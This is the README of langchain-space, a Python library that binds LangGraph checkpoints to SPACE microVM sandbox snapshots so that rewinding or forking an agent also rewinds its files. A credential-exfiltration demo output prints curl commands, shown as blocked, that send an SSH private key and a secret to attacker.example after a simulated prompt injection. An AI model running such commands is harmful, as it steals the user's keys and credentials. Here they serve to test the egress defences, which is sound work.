Skip to content

About

A LangChain Deep Agents sandbox backend for Perplexity SPACE where rewinding or forking a LangGraph thread also rewinds or forks the sandbox.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation


A LangChain Deep Agents sandbox backend for SPACE, Perplexity's open-source Firecracker microVM platform, where rewinding or forking a LangGraph thread also rewinds or forks the sandbox.

Python

Problem

LangGraph checkpoints let you rewind, replay and branch an agent's run, but they only capture graph state: the files the agent wrote in its sandbox stay wherever the latest run left them. With every other sandbox backend, a rewound agent "remembers" step 3 while its sandbox is at step 10, and two branches from one checkpoint silently share each other's edits.

langchain-space binds every checkpoint to a snapshot of the sandbox, so graph state and sandbox state move together.

Rewind demo on real SPACE: with a plain backend the rewound step reads v3, with langchain-space it reads v1

Recorded on real SPACE microVMs by the integration workflow (run 39812049901); long waits are shortened in the GIF, the printed timings are real. Source: examples/rewind_demo.py.

What it does

  • Adapter: SpaceSandbox implements Deep Agents' BaseSandbox (execute, upload_files, download_files) on SPACE's HTTP API. It is wired to the standard langchain-tests sandbox suite.
  • Snapshot-consistent time travel: SpaceCheckpointer wraps any LangGraph checkpointer. Each checkpoint stores the id of an immutable snapshot of the sandbox. A run started from an older checkpoint continues on a new sandbox forked from that snapshot.
  • Fork-and-select: fork_and_select tries N alternatives in parallel forks and keeps the one whose tests pass.
  • Credentials stay out of the VM (experimental): rules and policies for SPACE's network-layer credential injection and deny-by-default egress, plus a SecretGuard that refuses to send host secrets into the sandbox. Public DNS resolvers stay reachable (domain rules need them), so DNS tunnelling can still leak files the agent can read, but never the injected credentials. Tested against mocked HTTP only: SPACE's injection needs AWS Secrets Manager and AWS Private CA, so it has not run on real SPACE yet. Setup guide, with the AWS commands and a check that names the broken step: docs/credential-injection.md.

Architecture

flowchart LR
    subgraph Host["Agent process"]
        A[Deep Agent / LangGraph graph] -- tool calls --> R[ThreadRoutedSandbox<br/>saver.backend]
        A -- "put(parent=P, X) / get_tuple" --> C[SpaceCheckpointer]
        C -- store --> S[(Inner saver<br/>InMemory / Postgres)]
        C -- "bind X to a snapshot" --> G[SandboxRegistry<br/>lineage per thread]
        R -- "wait for base checkpoint,<br/>restore if needed" --> G
        G --> B[SpaceSandbox]
        B --> H[HttpSpaceClient]
    end
    subgraph SPACE["SPACE"]
        L[Live sandbox]
        N1[Anchor: suspended fork<br/>state at checkpoint 1]
        N2[Anchor: state at checkpoint 2]
        GW[Network gateway<br/>egress policy + header injection]
    end
    H -- commands, files --> L
    H -- "fork + suspend" --> N1
    H -- "fork (restore)" --> N2
    L -- outbound HTTP --> GW
Loading

How a checkpoint is bound. LangGraph passes each new checkpoint's parent to put, and each task knows the checkpoint it runs on top of. When checkpoint X with parent P is saved:

  • If the thread's sandbox is at P, X binds to its current state. If anything changed since the last snapshot, a new snapshot is taken: an anchor, meaning a fork of the sandbox that is immediately suspended and never run again.
  • Otherwise the thread jumped (rewind, replay, update_state, fork), and X binds to P's snapshot. The next tool call forks a fresh sandbox from it. The previous sandbox is retired, never mutated. Retired sandboxes keep running until saver.close(); pass delete_retired_eagerly=True to delete them once the next checkpoint is saved (useful for long-lived servers).

The snapshot is taken before the checkpoint is written. If it fails, the checkpoint is not saved.

(back to top)

Installation

Prerequisites

  • Python 3.11 or newer (CI tests 3.11, 3.12 and 3.13 on Linux and Windows).

  • Nothing else for simulated sandboxes. The demos, unit tests and consistency tests run on an in-memory fake of SPACE, on Windows, macOS or Linux.

  • For real sandboxes, a SPACE deployment with:

    • the native API and data plane reachable from your machine, and a session token;
    • its E2B-compatible API and an API key for it. Forks go through it, so SpaceCheckpointer and fork_and_select need it; a plain SpaceSandbox does not;
    • a template with python3 and a POSIX shell (Deep Agents' file tools run small python3 scripts). SPACE's code-runtime recipe works. On a deployment where you are not the operator, build it under your own name: seed and code-runtime are reserved.

    SPACE itself needs Linux x86_64 with KVM, btrfs and privileged Docker (SPACE install guide). No Linux machine? .github/workflows/integration.yml installs SPACE on a free GitHub-hosted runner and runs everything against it.

  • For credential injection only: SPACE deployed on AWS, with AWS Secrets Manager and AWS Private CA. See docs/credential-injection.md.

Install

pip install git+https://github.com/victorperr/langchain-space

Or from a clone, to run the demos and tests (uv):

git clone https://github.com/victorperr/langchain-space && cd langchain-space
uv sync
uv run python examples/rewind_demo.py        # simulated sandboxes: checks the install

Configure

HttpSpaceClient.from_env() reads its settings from environment variables. Copy .env.example to .env, fill it in, and load it into your shell (set -a; source .env; set +a; the file shows the PowerShell equivalent).

Variable Needed for Local Kind install
SPACE_API_URL everything http://127.0.0.1:8080
SPACE_DATA_PLANE_URL everything (command output streams from it) http://127.0.0.1:8090
SPACE_API_TOKEN everything POST /auth/v1/sessions (command in .env.example)
SPACE_ECW_API_URL forks: rewind, branches, fork_and_select http://127.0.0.1:8080
SPACE_ECW_API_KEY forks see below

The E2B-compatible API key must belong to the same SPACE organization as your token, otherwise forks are invisible to the native API. SPACE's scripts/seed-api-key.sh --org-id <org> --created-by <user> --name <name> prints the SQL that creates it; a SPACE operator runs that SQL against SPACE's database. The integration workflow's step "Create an API key for the fork API" does exactly this on a Kind install (the script's own --execute mode needs a node pool Kind lacks).

Then run uv run python examples/rewind_demo.py --space --template <your template> to see the rewind on real microVMs.

Quickstart

from deepagents import create_deep_agent
from langgraph.checkpoint.memory import InMemorySaver
from langchain_space import HttpSpaceClient, SpaceCheckpointer

client = HttpSpaceClient.from_env()  # SPACE_API_URL, SPACE_DATA_PLANE_URL, SPACE_API_TOKEN,
# SPACE_ECW_API_URL, SPACE_ECW_API_KEY (forks)
saver = SpaceCheckpointer(InMemorySaver(), client, template="code-runtime")
agent = create_deep_agent(
    model="anthropic:claude-sonnet-5-5", backend=saver.backend, checkpointer=saver
)

config = {"configurable": {"thread_id": "fix-bug-42"}}
agent.invoke({"messages": [{"role": "user", "content": "Fix the failing test"}]}, config)

# Rewind to any earlier checkpoint: the agent *and its files* go back together.
earlier = list(agent.get_state_history(config))[3]
agent.invoke({"messages": [{"role": "user", "content": "Try another approach"}]}, earlier.config)

Outside an agent, SpaceSandbox.create(client, "code-runtime") is a plain backend that you can use from a script.

Demos

All three run anywhere: they use simulated sandboxes (FakeSpaceClient) unless you pass --space. The integration workflow records the rewind demo on real SPACE as a GIF.

$ uv run python examples/rewind_demo.py
The graph has one step, `edit` (a LangGraph node, no LLM). Each time it runs, it
reads /home/user/work/app.txt in the sandbox, then overwrites it with a new value.

Plain sandbox backend + LangGraph checkpointer
  step 1 writes app.txt = "v1"
  step 2 writes app.txt = "v2"
  step 3 writes app.txt = "v3"
  rewind to the checkpoint saved after step 1
  step 4 reads app.txt before writing: "v3"
  WRONG: the agent is back after step 1, its file is not

langchain-space: each checkpoint bound to a SPACE snapshot
  step 1 writes app.txt = "v1"
  step 2 writes app.txt = "v2"
  step 3 writes app.txt = "v3"
  rewind to the checkpoint saved after step 1
  step 4 reads app.txt before writing: "v1"
  OK: the agent and its file are both back after step 1

edit stands in for an agent's file tools: it goes through the same SpaceSandbox backend that Deep Agents' read_file and write_file use, without an LLM, so the demo is deterministic and free to run.

$ uv run python examples/fork_and_select_demo.py
Before: exit 1
0 passed, 3 failed

Tried 3 fixes in parallel forks (0.22s):
  [fail] divide by len            2 passed, 1 failed
  [fail] guard empty only         1 passed, 2 failed
  [PASS] guard + divide by len    3 passed, 0 failed

Kept 'guard + divide by len' in sandbox sbx_fake0004.
The original sandbox is untouched: still exit 1.
$ uv run python examples/credential_exfiltration_demo.py
$ curl -H 'Authorization: placeholder' https://api.github.com/user   (gateway injects the token)
  {"login": "demo-bot"}
$ env                                                                 (injected prompt)
  GH_TOKEN=placeholder
$ curl -d @/home/user/.ssh/id_rsa https://attacker.example/collect
  curl: (7) Failed to connect to attacker.example: blocked by egress policy
$ curl -d key=sk-host-only-... https://attacker.example/collect
  blocked: refusing to send a secret into the sandbox (command)

  GitHub token visible inside the sandbox: False

The credential demo simulates SPACE's gateway. On a real deployment, follow docs/credential-injection.md and run examples/check_credential_injection.py; tests/integration/test_space_credentials.py covers the same path in the test suite. Neither has run yet: both need SPACE on AWS.

Benchmarks

uv run python benchmarks/run.py [--space] measures:

  • Fork latency: fork of a live sandbox.
  • Anchor latency: fork plus suspend; this is what a checkpoint costs when the sandbox changed.
  • Restore latency: fork from an anchor.
  • Restore correctness after N divergent branches, both at the SPACE level (hash of every file) and through LangGraph (N branches from one checkpoint).
Operation Runs Median (ms) p90 (ms)
fork live sandbox 10 12,799 12,819
anchor 10 19,122 19,150
restore 10 7,787 7,797
branch run from old checkpoint (restore + 1 step) 10 27,002 27,166
Restore check Branches Correct
anchor restore after N divergent branches 10 10/10
LangGraph branches from one checkpoint 10 10/10

Measured on real SPACE (commit b6ca1b2, lcs-code-runtime template built from SPACE's code-runtime recipe), installed in Kind on a free GitHub-hosted runner: AMD EPYC 7763, 4 vCPUs, 15 GiB RAM, Ubuntu 24.04, Python 3.11, on 2026-10-22. That is one small VM running the whole SPACE control plane and the Firecracker microVMs under nested virtualization, so treat the latencies as an upper bound, not as production numbers. A SPACE fork is disk-only and the child cold-boots, which is most of each figure. The workflow is .github/workflows/integration.yml; its run uploads the JSON.

Without --space the same script runs against simulated sandboxes and measures only this library's overhead (about 0.05 ms per operation). The correctness check has a negative control: with a fake whose forks share state, it reports 0/N.

Status

Runs on a live SPACE deployment (the integration workflow above, run 39752644201): fork-and-select, the time-travel consistency tests and the benchmarks pass there. Of the standard langchain-tests sandbox suite's 86 tests, 79 pass; the other 7 check the pre-0.7 deepagents glob/write contract and are marked as expected failures (see tests/integration/test_standard.py). Credential injection is not verified on real infrastructure: it needs SPACE deployed on AWS, with AWS Secrets Manager and AWS Private CA (a local Kind install cannot do it as shipped). See docs/credential-injection.md. Remaining open questions are listed in CLAUDE.md.

Development

uv sync
uv run ruff check . && uv run ruff format --check .
uv run mypy src
uv run pytest tests/unit tests/consistency     # no SPACE needed; runs on Windows
uv run pytest -m integration                   # needs SPACE_* environment variables
Path What it holds
src/langchain_space/client.py SpaceClient protocol + HttpSpaceClient (the only module that knows SPACE's API)
src/langchain_space/backend.py SpaceSandbox
src/langchain_space/snapshots.py SnapshotBinding, anchors, lineage-driven registry
src/langchain_space/checkpointer.py SpaceCheckpointer, ThreadRoutedSandbox
src/langchain_space/fork.py fork_and_select
src/langchain_space/credentials.py Credential rules, network policies, SecretGuard
src/langchain_space/testing/ FakeSpaceClient and the consistency harness graph
tests/consistency/ The core claim: the bug with a plain backend, the fix with ours

(back to top)

About

A LangChain Deep Agents sandbox backend for Perplexity SPACE where rewinding or forking a LangGraph thread also rewinds or forks the sandbox.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages